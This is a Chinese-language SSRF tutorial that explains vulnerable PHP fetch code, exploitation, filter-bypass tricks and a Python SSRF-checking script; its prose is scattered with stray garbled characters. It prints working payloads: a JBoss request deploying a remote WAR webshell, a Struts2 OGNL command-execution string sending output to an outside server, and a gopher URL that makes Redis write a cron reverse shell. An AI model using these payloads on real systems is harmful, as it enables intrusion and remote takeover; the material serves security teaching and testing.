https://github.com/cujanovic/SSRF-Testing
0x01 漏洞描述
很多web應用都提供了從其他的服務器上獲取數(shù)據(jù)的功能。使用用戶指定的URL财松,web應用可以獲取圖片痴脾,下載文件,讀取文件內(nèi)容等期贫。
如果對用戶提交的URL沒有做好判斷跟匆,攻擊者就可以通過該機器代理攻擊內(nèi)網(wǎng)服務器。
容易導致SSRF漏洞的Web功能有分享功能通砍、手機轉碼玛臂、圖片相關等等,總之在請求的參數(shù)中存在URL的時候都需要敏感一些封孙。
0x02 代碼示例
1)file_get_contents
<?php
$fh= file_get_contents($_GET['url']);
echo $fh;
?>
2)curl_exec
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
?>
3)fsockopen()
<?php
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
}
else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
0x03 漏洞利用
1迹冤、通過file協(xié)議讀取本地文件
2、端口掃描
首選需要收集內(nèi)網(wǎng)IP地址虎忌,常用方式有:
a)漏洞平臺歷史漏洞獲取
b)子域名解析結果中
c)掃描器掃描(例如WVS掃描會報出內(nèi)網(wǎng)IP)
另外可以分為兩種有回顯和無回顯兩種情況
例如Web服務泡徙,有回顯的話,就有可能訪問到一些敏感系統(tǒng)膜蠢,另外還可以識別內(nèi)網(wǎng)應用的CMS等等堪藐,針對性的攻擊
而如果沒有回顯的話莉兰,則可以通過返回內(nèi)容、返回數(shù)據(jù)包的長度礁竞、頁面響應時間等等確認端口開放情況糖荒。
3、攻擊內(nèi)網(wǎng)Web應用
這個wooyun上有人分享過了模捂,僅僅通過GET方法就能攻擊的兩個案例:
jboss部署Webshell
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war
通過JBOSS HtmlAdaptor接口直接部署遠程war包, 我們可以通過access.log去驗證war包是否成功部署捶朵。
structs2 命令執(zhí)行
?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}
命令執(zhí)行結果會發(fā)送到遠端服務器,通過access.log獲取狂男。
0x04 繞過姿勢
1)利用解析URL所出現(xiàn)的問題
http://www.baidu.com@10.10.10.10與http://10.10.10.10 當后端程序通過不正確的正則表達式(比如將http之后到com為止的字符內(nèi)容泉孩,也就是www.baidu.com,認為是訪問請求的host地址時)對上述URL的內(nèi)容進行解析的時候并淋,很有可能會認為訪問URL的host為www.baidu.com寓搬,而實際上這個URL所請求的內(nèi)容都是10.10.10.10上的內(nèi)容。
該繞過同樣在URL跳轉繞過中適用县耽。
http://www.wooyun.org/bugs/wooyun-2015-091690
2)更改IP地址寫法
ip地址轉換成進制來訪問
115.239.210.26 = 16373751032
3)添加端口可能繞過匹配正則
10.10.10.10:80 案例:
http://www.wooyun.org/bugs/wooyun-2014-061850
4)用短地址(302跳轉)繞過句喷,
如果后端服務器在接收到參數(shù)后,正確的解析了URL的host兔毙,并且進行了過濾唾琼,我們這個時候可以使用302跳轉的方式來進行繞過。
案例:
http://www.wooyun.org/bugs/wooyun-2010-0132243
http://www.wooyun.org/bugs/wooyun-2010-0135257
5)利用xip.io和xip.name
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1
www.10.0.0.2.xip.name resolves to 10.0.0.2
foo.10.0.0.3.xip.name resolves to 10.0.0.3
bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4
6)通過各種非HTTP協(xié)議[]
如果服務器端程序對訪問URL所采用的協(xié)議進行驗證的話澎剥,可以通過非HTTP協(xié)議來進行利用锡溯。
比如通過gopher,可以在一個url參數(shù)中構造POST或者GET請求哑姚,從而達到攻擊內(nèi)網(wǎng)應用的目的祭饭。例如可以使用gopher協(xié)議對與內(nèi)網(wǎng)的Redis服務進行攻擊,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
除了gopher協(xié)議叙量,F(xiàn)ile協(xié)議也是SSRF中常用的協(xié)議倡蝙,該協(xié)議主要用于訪問本地計算機中的文件,我們可以通過類似 file:///path/to/file
這種格式來訪問計算機本地文件绞佩。使用file協(xié)議可以避免服務端程序對于所訪問的IP進行的過濾寺鸥。例如我們可以通過 file:///d:/1.txt
來訪問D盤中1.txt的內(nèi)容
7) DNS Rebinding
一個常用的防護思路是:對于用戶請求的URL參數(shù),首先服務器端會對其進行DNS解析品山,然后對于DNS服務器返回的IP地址進行判斷胆建,如果在黑名單中,就pass掉肘交。
但是在整個過程中笆载,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間查,利用這個時間差,可以進行DNS重綁定攻擊宰译。
要完成DNS重綁定攻擊檐蚜,我們需要一個域名,并且將這個域名的解析指定到我們自己的DNS Server沿侈,在我們的可控的DNS Server上編寫解析服務闯第,設置TTL時間為0。這樣就可以進行攻擊了缀拭,完整的攻擊流程為:
- 服務器端獲得URL參數(shù)咳短,進行第一次DNS解析,獲得了一個非內(nèi)網(wǎng)的IP
- 對于獲得的IP進行判斷蛛淋,發(fā)現(xiàn)為非黑名單IP咙好,則通過驗證
- 服務器端對于URL進行訪問,由于DNS服務器設置的TTL為0褐荷,所以再次進行DNS解析勾效,這一次DNS服務器返回的是內(nèi)網(wǎng)地址。
- 由于已經(jīng)繞過驗證叛甫,所以服務器端返回訪問內(nèi)網(wǎng)資源的結果层宫。
0x05 可能的利用點
ftp、ftps (FTP爆破)
sftp
tftp(UDP協(xié)議擴展)
dict
gopher
ldap
imap/imaps/pop3/pop3s/smtp/smtps(爆破郵件用戶名密碼)
rtsp - smb/smbs (連接SMB)
telnet
http其监、https - 內(nèi)網(wǎng)服務探測
ShellShock命令執(zhí)行
JBOSS遠程Invoker war命令執(zhí)行
Java調(diào)試接口命令執(zhí)行
axis2-admin部署Server命令執(zhí)行
Jenkins Scripts接口命令執(zhí)行
Confluence SSRF
Struts2 命令執(zhí)行
counchdb WEB API遠程命令執(zhí)行
mongodb SSRF
docker API遠程命令執(zhí)行
php_fpm/fastcgi 命令執(zhí)行
tomcat命令執(zhí)行
Elasticsearch引擎Groovy腳本命令執(zhí)行
WebDav PUT上傳任意文件
WebSphere Admin可部署war間接命令執(zhí)行
Apache Hadoop遠程命令執(zhí)行
zentoPMS遠程命令執(zhí)行
HFS遠程命令執(zhí)行
glassfish任意文件讀取和war文件部署間接命令執(zhí)行
0x06 參數(shù)檢測
# -*- coding: utf8 -*-
"""
Server-side Request Forgery vulnerability
"""
import sys
import urlparse
import re
import socket
import struct
import requests
def ip_into_int(ip):
return reduce(lambda x,y:(x<<8)+y,map(int,ip.split('.')))
def is_internal_ip(ip):
ip = ip_into_int(ip)
net_a = ip_into_int('10.255.255.255') >> 24
net_b = ip_into_int('172.31.255.255') >> 20
net_c = ip_into_int('192.168.255.255') >> 16
return ip >> 24 == net_a or ip >>20 == net_b or ip >> 16 == net_c
def ssrfcheck(url):
'''
SSRF繞過方式:
a) 302 redirect
b) mysite.10.0.0.1.xip.io:80
c) 123@baidu.com
d) 16373751032
'''
if '://' in url:
if not url.startswith('http') and not url.startswith('https'):
print "Unsupported scheme"
sys.exit()
else:
url = 'http://' + url
domain = urlparse.urlsplit(url).netloc
path = urlparse.urlsplit(url).path
scheme = urlparse.urlsplit(url).scheme
port = ''
if '@' in domain: # 123@baidu.com
domain = domain[domain.index('@') + 1:]
if re.findall(':\d{1,5}$', domain): # mysite.10.0.0.1.xip.io:80
_list = domain.split(':')
domain = _list[0]
port = _list[1]
if re.findall('^\d*$', domain): # 16373751032
domain = socket.inet_ntoa(struct.pack('I',socket.htonl(int(domain))))
compile_ip=re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
if compile_ip.match(domain):
ipaddr = domain
else:
ipaddr = socket.gethostbyname(domain)
if not is_internal_ip(ipaddr):
if port:
url = scheme + "://" + domain + ":" + port + path
else:
url = scheme + "://" + domain + path
print url
try: # 302 redirect
r = requests.head(url, stream=True, timeout=1)
if r.status_code == 302:
print "302 Redirect"
_url = r.headers['Location']
ssrfcheck(_url)
else:
print "External IP"
except Exception, e:
print e
return False
else:
print "Intranet IP"
if __name__ == '__main__':
ssrfcheck(sys.argv[1])
0x07 參考文章
http://www.tuicool.com/articles/32UnAzq
http://0cx.cc/some_tips_with_sssrf.jspx
http://wufeifei.com/ssrf/
SSRF漏洞分析與利用
A New Era Of SSRF
php ssrf technique
談一談如何在Python開發(fā)中拒絕SSRF漏洞
SSRF Tips